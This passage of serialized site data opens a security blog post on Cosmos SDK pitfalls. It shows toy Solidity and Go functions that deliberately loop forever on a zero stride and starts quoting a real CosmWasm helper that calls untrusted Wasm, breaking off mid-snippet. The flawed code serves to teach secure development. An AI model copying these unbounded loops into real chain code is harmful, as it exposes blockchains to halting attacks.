payments.",{"type":23,"tag":5178,"props":77614,"children":77615},{},[77616],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":77618},[77619,77620,77621,77627],{"id":31322,"depth":243,"text":31325},{"id":73001,"depth":243,"text":73004},{"id":74108,"depth":243,"text":74111,"children":77622},[77623,77624,77626],{"id":74114,"depth":252,"text":74117},{"id":74801,"depth":252,"text":77625},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":76106,"depth":252,"text":76109},{"id":77576,"depth":243,"text":77579},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":77632,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77633,"description":77634,"date":77635,"author":77636,"image":77637,"isFeatured":18,"onBlogPage":18,"tags":77639,"body":77642,"_type":5202,"_id":91527,"_source":5204,"_file":91528,"_stem":91529,"_extension":5207},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":77638,"width":16,"height":16},"/posts/cosmos-security/title.png",[77640,77641],"cosmos-sdk","security",{"type":20,"children":77643,"toc":91505},[77644,77648,77653,77658,77664,77669,77674,77679,77940,78429,78448,78453,78458,78463,78469,78474,78509,78519,79026,79046,79059,79065,79070,79075,79316,79321,79329,79341,79703,79708,79713,79749,79758,80184,80205,80211,80231,80252,80271,80303,80315,80327,80981,81009,81018,81458,81485,81505,81510,81531,81580,81589,82821,82849,82855,82860,82865,82885,83172,83206,83387,83392,83397,83441,83450,84642,84893,84906,84912,84946,84951,85014,85019,85039,85058,85070,85089,85781,85786,85791,85819,85828,86713,86740,86746,86766,86771,86784,86958,86971,87062,87067,87075,87085,87235,87240,87260,87268,87273,87671,87683,87688,87729,87740,87760,88068,88073,88998,89010,89018,89023,90016,90021,90033,90053,90072,90986,91043,91149,91161,91166,91171,91199,91208,91434,91460,91473,91487,91491,91496,91501],{"type":23,"tag":24,"props":77645,"children":77646},{"id":31322},[77647],{"type":29,"value":31325},{"type":23,"tag":32,"props":77649,"children":77650},{},[77651],{"type":29,"value":77652},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":32,"props":77654,"children":77655},{},[77656],{"type":29,"value":77657},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":24,"props":77659,"children":77661},{"id":77660},"its-loopin-time",[77662],{"type":29,"value":77663},"It's Loopin' Time",{"type":23,"tag":32,"props":77665,"children":77666},{},[77667],{"type":29,"value":77668},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":32,"props":77670,"children":77671},{},[77672],{"type":29,"value":77673},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":32,"props":77675,"children":77676},{},[77677],{"type":29,"value":77678},"Here is a simple example for reference:",{"type":23,"tag":220,"props":77680,"children":77682},{"code":77681,"language":6812,"meta":7,"className":6813,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[77683],{"type":23,"tag":71,"props":77684,"children":77685},{"__ignoreMap":7},[77686,77702,77719,77735,77757,77786,77807,77831,77852,77859,77880,77897,77914,77921,77933],{"type":23,"tag":230,"props":77687,"children":77688},{"class":232,"line":233},[77689,77693,77698],{"type":23,"tag":230,"props":77690,"children":77691},{"style":256},[77692],{"type":29,"value":3381},{"type":23,"tag":230,"props":77694,"children":77695},{"style":294},[77696],{"type":29,"value":77697}," sumWithStride",{"type":23,"tag":230,"props":77699,"children":77700},{"style":274},[77701],{"type":29,"value":619},{"type":23,"tag":230,"props":77703,"children":77704},{"class":232,"line":243},[77705,77710,77715],{"type":23,"tag":230,"props":77706,"children":77707},{"style":676},[77708],{"type":29,"value":77709},"    uint64",{"type":23,"tag":230,"props":77711,"children":77712},{"style":262},[77713],{"type":29,"value":77714}," start",{"type":23,"tag":230,"props":77716,"children":77717},{"style":274},[77718],{"type":29,"value":388},{"type":23,"tag":230,"props":77720,"children":77721},{"class":232,"line":252},[77722,77726,77731],{"type":23,"tag":230,"props":77723,"children":77724},{"style":676},[77725],{"type":29,"value":77709},{"type":23,"tag":230,"props":77727,"children":77728},{"style":262},[77729],{"type":29,"value":77730}," stride",{"type":23,"tag":230,"props":77732,"children":77733},{"style":274},[77734],{"type":29,"value":388},{"type":23,"tag":230,"props":77736,"children":77737},{"class":232,"line":280},[77738,77742,77747,77752],{"type":23,"tag":230,"props":77739,"children":77740},{"style":676},[77741],{"type":29,"value":77709},{"type":23,"tag":230,"props":77743,"children":77744},{"style":274},[77745],{"type":29,"value":77746},"[] ",{"type":23,"tag":230,"props":77748,"children":77749},{"style":256},[77750],{"type":29,"value":77751},"memory",{"type":23,"tag":230,"props":77753,"children":77754},{"style":262},[77755],{"type":29,"value":77756}," arr\n",{"type":23,"tag":230,"props":77758,"children":77759},{"class":232,"line":334},[77760,77764,77768,77773,77777,77782],{"type":23,"tag":230,"props":77761,"children":77762},{"style":274},[77763],{"type":29,"value":703},{"type":23,"tag":230,"props":77765,"children":77766},{"style":256},[77767],{"type":29,"value":63450},{"type":23,"tag":230,"props":77769,"children":77770},{"style":866},[77771],{"type":29,"value":77772}," returns",{"type":23,"tag":230,"props":77774,"children":77775},{"style":274},[77776],{"type":29,"value":664},{"type":23,"tag":230,"props":77778,"children":77779},{"style":676},[77780],{"type":29,"value":77781},"uint64",{"type":23,"tag":230,"props":77783,"children":77784},{"style":274},[77785],{"type":29,"value":827},{"type":23,"tag":230,"props":77787,"children":77788},{"class":232,"line":371},[77789,77793,77798,77802],{"type":23,"tag":230,"props":77790,"children":77791},{"style":676},[77792],{"type":29,"value":77709},{"type":23,"tag":230,"props":77794,"children":77795},{"style":274},[77796],{"type":29,"value":77797}," idx ",{"type":23,"tag":230,"props":77799,"children":77800},{"style":268},[77801],{"type":29,"value":863},{"type":23,"tag":230,"props":77803,"children":77804},{"style":274},[77805],{"type":29,"value":77806}," start;\n",{"type":23,"tag":230,"props":77808,"children":77809},{"class":232,"line":391},[77810,77814,77819,77823,77827],{"type":23,"tag":230,"props":77811,"children":77812},{"style":676},[77813],{"type":29,"value":77709},{"type":23,"tag":230,"props":77815,"children":77816},{"style":274},[77817],{"type":29,"value":77818}," sum ",{"type":23,"tag":230,"props":77820,"children":77821},{"style":268},[77822],{"type":29,"value":863},{"type":23,"tag":230,"props":77824,"children":77825},{"style":5149},[77826],{"type":29,"value":5386},{"type":23,"tag":230,"props":77828,"children":77829},{"style":274},[77830],{"type":29,"value":511},{"type":23,"tag":230,"props":77832,"children":77833},{"class":232,"line":400},[77834,77838,77843,77847],{"type":23,"tag":230,"props":77835,"children":77836},{"style":676},[77837],{"type":29,"value":77709},{"type":23,"tag":230,"props":77839,"children":77840},{"style":274},[77841],{"type":29,"value":77842}," end ",{"type":23,"tag":230,"props":77844,"children":77845},{"style":268},[77846],{"type":29,"value":863},{"type":23,"tag":230,"props":77848,"children":77849},{"style":274},[77850],{"type":29,"value":77851}," arr.length;\n",{"type":23,"tag":230,"props":77853,"children":77854},{"class":232,"line":444},[77855],{"type":23,"tag":230,"props":77856,"children":77857},{"emptyLinePlaceholder":18},[77858],{"type":29,"value":459},{"type":23,"tag":230,"props":77860,"children":77861},{"class":232,"line":453},[77862,77866,77871,77875],{"type":23,"tag":230,"props":77863,"children":77864},{"style":866},[77865],{"type":29,"value":66149},{"type":23,"tag":230,"props":77867,"children":77868},{"style":274},[77869],{"type":29,"value":77870}," (idx ",{"type":23,"tag":230,"props":77872,"children":77873},{"style":268},[77874],{"type":29,"value":8143},{"type":23,"tag":230,"props":77876,"children":77877},{"style":274},[77878],{"type":29,"value":77879}," end) {\n",{"type":23,"tag":230,"props":77881,"children":77882},{"class":232,"line":462},[77883,77888,77892],{"type":23,"tag":230,"props":77884,"children":77885},{"style":274},[77886],{"type":29,"value":77887},"        sum ",{"type":23,"tag":230,"props":77889,"children":77890},{"style":268},[77891],{"type":29,"value":70214},{"type":23,"tag":230,"props":77893,"children":77894},{"style":274},[77895],{"type":29,"value":77896}," arr[idx];\n",{"type":23,"tag":230,"props":77898,"children":77899},{"class":232,"line":471},[77900,77905,77909],{"type":23,"tag":230,"props":77901,"children":77902},{"style":274},[77903],{"type":29,"value":77904},"        idx ",{"type":23,"tag":230,"props":77906,"children":77907},{"style":268},[77908],{"type":29,"value":70214},{"type":23,"tag":230,"props":77910,"children":77911},{"style":274},[77912],{"type":29,"value":77913}," stride;\n",{"type":23,"tag":230,"props":77915,"children":77916},{"class":232,"line":500},[77917],{"type":23,"tag":230,"props":77918,"children":77919},{"style":274},[77920],{"type":29,"value":1552},{"type":23,"tag":230,"props":77922,"children":77923},{"class":232,"line":514},[77924,77928],{"type":23,"tag":230,"props":77925,"children":77926},{"style":866},[77927],{"type":29,"value":4427},{"type":23,"tag":230,"props":77929,"children":77930},{"style":274},[77931],{"type":29,"value":77932}," sum;\n",{"type":23,"tag":230,"props":77934,"children":77935},{"class":232,"line":897},[77936],{"type":23,"tag":230,"props":77937,"children":77938},{"style":274},[77939],{"type":29,"value":975},{"type":23,"tag":220,"props":77941,"children":77945},{"code":77942,"language":77943,"meta":7,"className":77944,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[77946],{"type":23,"tag":71,"props":77947,"children":77948},{"__ignoreMap":7},[77949,77969,77982,77994,78012,78019,78026,78046,78058,78065,78072,78107,78133,78154,78183,78213,78258,78335,78371,78378,78422],{"type":23,"tag":230,"props":77950,"children":77951},{"class":232,"line":233},[77952,77956,77961,77965],{"type":23,"tag":230,"props":77953,"children":77954},{"style":256},[77955],{"type":29,"value":35049},{"type":23,"tag":230,"props":77957,"children":77958},{"style":676},[77959],{"type":29,"value":77960}," MsgSumWithStrideParams",{"type":23,"tag":230,"props":77962,"children":77963},{"style":256},[77964],{"type":29,"value":23465},{"type":23,"tag":230,"props":77966,"children":77967},{"style":274},[77968],{"type":29,"value":277},{"type":23,"tag":230,"props":77970,"children":77971},{"class":232,"line":243},[77972,77977],{"type":23,"tag":230,"props":77973,"children":77974},{"style":262},[77975],{"type":29,"value":77976},"    Start",{"type":23,"tag":230,"props":77978,"children":77979},{"style":676},[77980],{"type":29,"value":77981}," uint64\n",{"type":23,"tag":230,"props":77983,"children":77984},{"class":232,"line":252},[77985,77990],{"type":23,"tag":230,"props":77986,"children":77987},{"style":262},[77988],{"type":29,"value":77989},"    Stride",{"type":23,"tag":230,"props":77991,"children":77992},{"style":676},[77993],{"type":29,"value":77981},{"type":23,"tag":230,"props":77995,"children":77996},{"class":232,"line":280},[77997,78002,78007],{"type":23,"tag":230,"props":77998,"children":77999},{"style":262},[78000],{"type":29,"value":78001},"    Arr",{"type":23,"tag":230,"props":78003,"children":78004},{"style":274},[78005],{"type":29,"value":78006}," []",{"type":23,"tag":230,"props":78008,"children":78009},{"style":676},[78010],{"type":29,"value":78011},"uint64\n",{"type":23,"tag":230,"props":78013,"children":78014},{"class":232,"line":334},[78015],{"type":23,"tag":230,"props":78016,"children":78017},{"style":274},[78018],{"type":29,"value":975},{"type":23,"tag":230,"props":78020,"children":78021},{"class":232,"line":371},[78022],{"type":23,"tag":230,"props":78023,"children":78024},{"emptyLinePlaceholder":18},[78025],{"type":29,"value":459},{"type":23,"tag":230,"props":78027,"children":78028},{"class":232,"line":391},[78029,78033,78038,78042],{"type":23,"tag":230,"props":78030,"children":78031},{"style":256},[78032],{"type":29,"value":35049},{"type":23,"tag":230,"props":78034,"children":78035},{"style":676},[78036],{"type":29,"value":78037}," MsgSumWithStrideResponse",{"type":23,"tag":230,"props":78039,"children":78040},{"style":256},[78041],{"type":29,"value":23465},{"type":23,"tag":230,"props":78043,"children":78044},{"style":274},[78045],{"type":29,"value":277},{"type":23,"tag":230,"props":78047,"children":78048},{"class":232,"line":400},[78049,78054],{"type":23,"tag":230,"props":78050,"children":78051},{"style":262},[78052],{"type":29,"value":78053},"    Sum",{"type":23,"tag":230,"props":78055,"children":78056},{"style":676},[78057],{"type":29,"value":77981},{"type":23,"tag":230,"props":78059,"children":78060},{"class":232,"line":444},[78061],{"type":23,"tag":230,"props":78062,"children":78063},{"style":274},[78064],{"type":29,"value":975},{"type":23,"tag":230,"props":78066,"children":78067},{"class":232,"line":453},[78068],{"type":23,"tag":230,"props":78069,"children":78070},{"emptyLinePlaceholder":18},[78071],{"type":29,"value":459},{"type":23,"tag":230,"props":78073,"children":78074},{"class":232,"line":462},[78075,78080,78084,78089,78094,78098,78103],{"type":23,"tag":230,"props":78076,"children":78077},{"style":256},[78078],{"type":29,"value":78079},"func",{"type":23,"tag":230,"props":78081,"children":78082},{"style":274},[78083],{"type":29,"value":664},{"type":23,"tag":230,"props":78085,"children":78086},{"style":262},[78087],{"type":29,"value":78088},"ms ",{"type":23,"tag":230,"props":78090,"children":78091},{"style":676},[78092],{"type":29,"value":78093},"msgServer",{"type":23,"tag":230,"props":78095,"children":78096},{"style":274},[78097],{"type":29,"value":703},{"type":23,"tag":230,"props":78099,"children":78100},{"style":294},[78101],{"type":29,"value":78102},"SumWithStride",{"type":23,"tag":230,"props":78104,"children":78105},{"style":274},[78106],{"type":29,"value":619},{"type":23,"tag":230,"props":78108,"children":78109},{"class":232,"line":471},[78110,78115,78120,78124,78129],{"type":23,"tag":230,"props":78111,"children":78112},{"style":262},[78113],{"type":29,"value":78114},"    goCtx",{"type":23,"tag":230,"props":78116,"children":78117},{"style":676},[78118],{"type":29,"value":78119}," context",{"type":23,"tag":230,"props":78121,"children":78122},{"style":274},[78123],{"type":29,"value":312},{"type":23,"tag":230,"props":78125,"children":78126},{"style":676},[78127],{"type":29,"value":78128},"Context",{"type":23,"tag":230,"props":78130,"children":78131},{"style":274},[78132],{"type":29,"value":388},{"type":23,"tag":230,"props":78134,"children":78135},{"class":232,"line":500},[78136,78141,78145,78150],{"type":23,"tag":230,"props":78137,"children":78138},{"style":262},[78139],{"type":29,"value":78140},"    msg",{"type":23,"tag":230,"props":78142,"children":78143},{"style":268},[78144],{"type":29,"value":12147},{"type":23,"tag":230,"props":78146,"children":78147},{"style":676},[78148],{"type":29,"value":78149},"MsgSumWithStrideParams",{"type":23,"tag":230,"props":78151,"children":78152},{"style":274},[78153],{"type":29,"value":388},{"type":23,"tag":230,"props":78155,"children":78156},{"class":232,"line":514},[78157,78162,78166,78171,78175,78179],{"type":23,"tag":230,"props":78158,"children":78159},{"style":274},[78160],{"type":29,"value":78161},") (",{"type":23,"tag":230,"props":78163,"children":78164},{"style":268},[78165],{"type":29,"value":6909},{"type":23,"tag":230,"props":78167,"children":78168},{"style":676},[78169],{"type":29,"value":78170},"MsgSumWithStrideResponse",{"type":23,"tag":230,"props":78172,"children":78173},{"style":274},[78174],{"type":29,"value":684},{"type":23,"tag":230,"props":78176,"children":78177},{"style":676},[78178],{"type":29,"value":17189},{"type":23,"tag":230,"props":78180,"children":78181},{"style":274},[78182],{"type":29,"value":827},{"type":23,"tag":230,"props":78184,"children":78185},{"class":232,"line":897},[78186,78191,78196,78201,78205,78209],{"type":23,"tag":230,"props":78187,"children":78188},{"style":262},[78189],{"type":29,"value":78190},"    sum",{"type":23,"tag":230,"props":78192,"children":78193},{"style":268},[78194],{"type":29,"value":78195}," :=",{"type":23,"tag":230,"props":78197,"children":78198},{"style":676},[78199],{"type":29,"value":78200}," uint64",{"type":23,"tag":230,"props":78202,"children":78203},{"style":274},[78204],{"type":29,"value":302},{"type":23,"tag":230,"props":78206,"children":78207},{"style":5149},[78208],{"type":29,"value":6358},{"type":23,"tag":230,"props":78210,"children":78211},{"style":274},[78212],{"type":29,"value":4516},{"type":23,"tag":230,"props":78214,"children":78215},{"class":232,"line":960},[78216,78221,78225,78229,78233,78237,78241,78245,78249,78254],{"type":23,"tag":230,"props":78217,"children":78218},{"style":262},[78219],{"type":29,"value":78220},"    end",{"type":23,"tag":230,"props":78222,"children":78223},{"style":268},[78224],{"type":29,"value":78195},{"type":23,"tag":230,"props":78226,"children":78227},{"style":676},[78228],{"type":29,"value":78200},{"type":23,"tag":230,"props":78230,"children":78231},{"style":274},[78232],{"type":29,"value":302},{"type":23,"tag":230,"props":78234,"children":78235},{"style":294},[78236],{"type":29,"value":11471},{"type":23,"tag":230,"props":78238,"children":78239},{"style":274},[78240],{"type":29,"value":302},{"type":23,"tag":230,"props":78242,"children":78243},{"style":262},[78244],{"type":29,"value":59720},{"type":23,"tag":230,"props":78246,"children":78247},{"style":274},[78248],{"type":29,"value":312},{"type":23,"tag":230,"props":78250,"children":78251},{"style":262},[78252],{"type":29,"value":78253},"Arr",{"type":23,"tag":230,"props":78255,"children":78256},{"style":274},[78257],{"type":29,"value":22026},{"type":23,"tag":230,"props":78259,"children":78260},{"class":232,"line":969},[78261,78265,78270,78274,78279,78283,78288,78292,78297,78301,78306,78310,78314,78318,78322,78326,78331],{"type":23,"tag":230,"props":78262,"children":78263},{"style":866},[78264],{"type":29,"value":5371},{"type":23,"tag":230,"props":78266,"children":78267},{"style":262},[78268],{"type":29,"value":78269}," idx",{"type":23,"tag":230,"props":78271,"children":78272},{"style":268},[78273],{"type":29,"value":78195},{"type":23,"tag":230,"props":78275,"children":78276},{"style":262},[78277],{"type":29,"value":78278}," msg",{"type":23,"tag":230,"props":78280,"children":78281},{"style":274},[78282],{"type":29,"value":312},{"type":23,"tag":230,"props":78284,"children":78285},{"style":262},[78286],{"type":29,"value":78287},"Start",{"type":23,"tag":230,"props":78289,"children":78290},{"style":274},[78291],{"type":29,"value":2171},{"type":23,"tag":230,"props":78293,"children":78294},{"style":262},[78295],{"type":29,"value":78296},"idx",{"type":23,"tag":230,"props":78298,"children":78299},{"style":268},[78300],{"type":29,"value":11055},{"type":23,"tag":230,"props":78302,"children":78303},{"style":262},[78304],{"type":29,"value":78305}," end",{"type":23,"tag":230,"props":78307,"children":78308},{"style":274},[78309],{"type":29,"value":2171},{"type":23,"tag":230,"props":78311,"children":78312},{"style":262},[78313],{"type":29,"value":78296},{"type":23,"tag":230,"props":78315,"children":78316},{"style":268},[78317],{"type":29,"value":17390},{"type":23,"tag":230,"props":78319,"children":78320},{"style":262},[78321],{"type":29,"value":78278},{"type":23,"tag":230,"props":78323,"children":78324},{"style":274},[78325],{"type":29,"value":312},{"type":23,"tag":230,"props":78327,"children":78328},{"style":262},[78329],{"type":29,"value":78330},"Stride",{"type":23,"tag":230,"props":78332,"children":78333},{"style":274},[78334],{"type":29,"value":277},{"type":23,"tag":230,"props":78336,"children":78337},{"class":232,"line":4526},[78338,78343,78347,78351,78355,78359,78363,78367],{"type":23,"tag":230,"props":78339,"children":78340},{"style":262},[78341],{"type":29,"value":78342},"        sum",{"type":23,"tag":230,"props":78344,"children":78345},{"style":268},[78346],{"type":29,"value":17390},{"type":23,"tag":230,"props":78348,"children":78349},{"style":262},[78350],{"type":29,"value":78278},{"type":23,"tag":230,"props":78352,"children":78353},{"style":274},[78354],{"type":29,"value":312},{"type":23,"tag":230,"props":78356,"children":78357},{"style":262},[78358],{"type":29,"value":78253},{"type":23,"tag":230,"props":78360,"children":78361},{"style":274},[78362],{"type":29,"value":6069},{"type":23,"tag":230,"props":78364,"children":78365},{"style":262},[78366],{"type":29,"value":78296},{"type":23,"tag":230,"props":78368,"children":78369},{"style":274},[78370],{"type":29,"value":14103},{"type":23,"tag":230,"props":78372,"children":78373},{"class":232,"line":4534},[78374],{"type":23,"tag":230,"props":78375,"children":78376},{"style":274},[78377],{"type":29,"value":1552},{"type":23,"tag":230,"props":78379,"children":78380},{"class":232,"line":4542},[78381,78385,78389,78393,78398,78403,78407,78412,78417],{"type":23,"tag":230,"props":78382,"children":78383},{"style":866},[78384],{"type":29,"value":4427},{"type":23,"tag":230,"props":78386,"children":78387},{"style":268},[78388],{"type":29,"value":9477},{"type":23,"tag":230,"props":78390,"children":78391},{"style":676},[78392],{"type":29,"value":78170},{"type":23,"tag":230,"props":78394,"children":78395},{"style":274},[78396],{"type":29,"value":78397},"{",{"type":23,"tag":230,"props":78399,"children":78400},{"style":262},[78401],{"type":29,"value":78402},"Sum",{"type":23,"tag":230,"props":78404,"children":78405},{"style":274},[78406],{"type":29,"value":817},{"type":23,"tag":230,"props":78408,"children":78409},{"style":262},[78410],{"type":29,"value":78411},"sum",{"type":23,"tag":230,"props":78413,"children":78414},{"style":274},[78415],{"type":29,"value":78416},"}, ",{"type":23,"tag":230,"props":78418,"children":78419},{"style":256},[78420],{"type":29,"value":78421},"nil\n",{"type":23,"tag":230,"props":78423,"children":78424},{"class":232,"line":4559},[78425],{"type":23,"tag":230,"props":78426,"children":78427},{"style":274},[78428],{"type":29,"value":975},{"type":23,"tag":32,"props":78430,"children":78431},{},[78432,78434,78439,78440,78446],{"type":29,"value":78433},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":71,"props":78435,"children":78437},{"className":78436},[],[78438],{"type":29,"value":78296},{"type":29,"value":9650},{"type":23,"tag":71,"props":78441,"children":78443},{"className":78442},[],[78444],{"type":29,"value":78445},"stride",{"type":29,"value":78447},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":32,"props":78449,"children":78450},{},[78451],{"type":29,"value":78452},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":32,"props":78454,"children":78455},{},[78456],{"type":29,"value":78457},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":32,"props":78459,"children":78460},{},[78461],{"type":29,"value":78462},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":59,"props":78464,"children":78466},{"id":78465},"real-world-examples",[78467],{"type":29,"value":78468},"Real-World Examples",{"type":23,"tag":32,"props":78470,"children":78471},{},[78472],{"type":29,"value":78473},"Now, let's examine a few real-world instances.",{"type":23,"tag":32,"props":78475,"children":78476},{},[78477,78479,78485,78486,78492,78494,78500,78502,78508],{"type":29,"value":78478},"In the case of ",{"type":23,"tag":181,"props":78480,"children":78483},{"href":78481,"rel":78482},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[185],[78484],{"type":29,"value":437},{"type":29,"value":3374},{"type":23,"tag":71,"props":78487,"children":78489},{"className":78488},[],[78490],{"type":29,"value":78491},"CosmWasm",{"type":29,"value":78493}," bug, the helper method ",{"type":23,"tag":71,"props":78495,"children":78497},{"className":78496},[],[78498],{"type":29,"value":78499},"write_to_contract",{"type":29,"value":78501}," negligently calls the untrusted Wasm function ",{"type":23,"tag":71,"props":78503,"children":78505},{"className":78504},[],[78506],{"type":29,"value":78507},"\"allocate\"",{"type":29,"value":312},{"type":23,"tag":32,"props":78510,"children":78511},{},[78512],{"type":23,"tag":181,"props":78513,"children":78516},{"href":78514,"rel":78515},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[185],[78517],{"type":29,"value":78518},"Permalink for snippet",{"type":23,"tag":220,"props":78520,"children":78522},{"code":78521,"language":5319,"meta":7,"className":5320,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[78523],{"type":23,"tag":71,"props":78524,"children":78525},{"__ignoreMap":7},[78526,78595,78643,78671,78700,78749,78823,78868,78891,78936,78943,79000,79019],{"type":23,"tag":230,"props":78527,"children":78528},{"class":232,"line":233},[78529,78533,78538,78542,78547,78551,78556,78560,78564,78568,78573,78577,78582,78586,78591],{"type":23,"tag":230,"props":78530,"children":78531},{"style":256},[78532],{"type":29,"value":22581},{"type":23,"tag":230,"props":78534,"children":78535},{"style":294},[78536],{"type":29,"value":78537}," write_to_contract",{"type":23,"tag":230,"props":78539,"children":78540},{"style":274},[78541],{"type":29,"value":8143},{"type":23,"tag":230,"props":78543,"children":78544},{"style":676},[78545],{"type":29,"value":78546},"A",{"type":23,"tag":230,"props":78548,"children":78549},{"style":268},[78550],{"type":29,"value":218},{"type":23,"tag":230,"props":78552,"children":78553},{"style":676},[78554],{"type":29,"value":78555}," BackendApi",{"type":23,"tag":230,"props":78557,"children":78558},{"style":274},[78559],{"type":29,"value":684},{"type":23,"tag":230,"props":78561,"children":78562},{"style":676},[78563],{"type":29,"value":24364},{"type":23,"tag":230,"props":78565,"children":78566},{"style":268},[78567],{"type":29,"value":218},{"type":23,"tag":230,"props":78569,"children":78570},{"style":676},[78571],{"type":29,"value":78572}," Storage",{"type":23,"tag":230,"props":78574,"children":78575},{"style":274},[78576],{"type":29,"value":684},{"type":23,"tag":230,"props":78578,"children":78579},{"style":676},[78580],{"type":29,"value":78581},"Q",{"type":23,"tag":230,"props":78583,"children":78584},{"style":268},[78585],{"type":29,"value":218},{"type":23,"tag":230,"props":78587,"children":78588},{"style":676},[78589],{"type":29,"value":78590}," Querier",{"type":23,"tag":230,"props":78592,"children":78593},{"style":274},[78594],{"type":29,"value":8925},{"type":23,"tag":230,"props":78596,"children":78597},{"class":232,"line":243},[78598,78602,78606,78610,78615,78619,78623,78627,78631,78635,78639],{"type":23,"tag":230,"props":78599,"children":78600},{"style":262},[78601],{"type":29,"value":6176},{"type":23,"tag":230,"props":78603,"children":78604},{"style":268},[78605],{"type":29,"value":218},{"type":23,"tag":230,"props":78607,"children":78608},{"style":268},[78609],{"type":29,"value":9477},{"type":23,"tag":230,"props":78611,"children":78612},{"style":676},[78613],{"type":29,"value":78614},"Environment",{"type":23,"tag":230,"props":78616,"children":78617},{"style":274},[78618],{"type":29,"value":8143},{"type":23,"tag":230,"props":78620,"children":78621},{"style":676},[78622],{"type":29,"value":78546},{"type":23,"tag":230,"props":78624,"children":78625},{"style":274},[78626],{"type":29,"value":684},{"type":23,"tag":230,"props":78628,"children":78629},{"style":676},[78630],{"type":29,"value":24364},{"type":23,"tag":230,"props":78632,"children":78633},{"style":274},[78634],{"type":29,"value":684},{"type":23,"tag":230,"props":78636,"children":78637},{"style":676},[78638],{"type":29,"value":78581},{"type":23,"tag":230,"props":78640,"children":78641},{"style":274},[78642],{"type":29,"value":8475},{"type":23,"tag":230,"props":78644,"children":78645},{"class":232,"line":252},[78646,78651,78655,78659,78663,78667],{"type":23,"tag":230,"props":78647,"children":78648},{"style":262},[78649],{"type":29,"value":78650},"    input",{"type":23,"tag":230,"props":78652,"children":78653},{"style":268},[78654],{"type":29,"value":218},{"type":23,"tag":230,"props":78656,"children":78657},{"style":268},[78658],{"type":29,"value":9477},{"type":23,"tag":230,"props":78660,"children":78661},{"style":274},[78662],{"type":29,"value":6069},{"type":23,"tag":230,"props":78664,"children":78665},{"style":676},[78666],{"type":29,"value":5759},{"type":23,"tag":230,"props":78668,"children":78669},{"style":274},[78670],{"type":29,"value":16590},{"type":23,"tag":230,"props":78672,"children":78673},{"class":232,"line":280},[78674,78678,78682,78687,78691,78696],{"type":23,"tag":230,"props":78675,"children":78676},{"style":274},[78677],{"type":29,"value":703},{"type":23,"tag":230,"props":78679,"children":78680},{"style":268},[78681],{"type":29,"value":16084},{"type":23,"tag":230,"props":78683,"children":78684},{"style":676},[78685],{"type":29,"value":78686}," 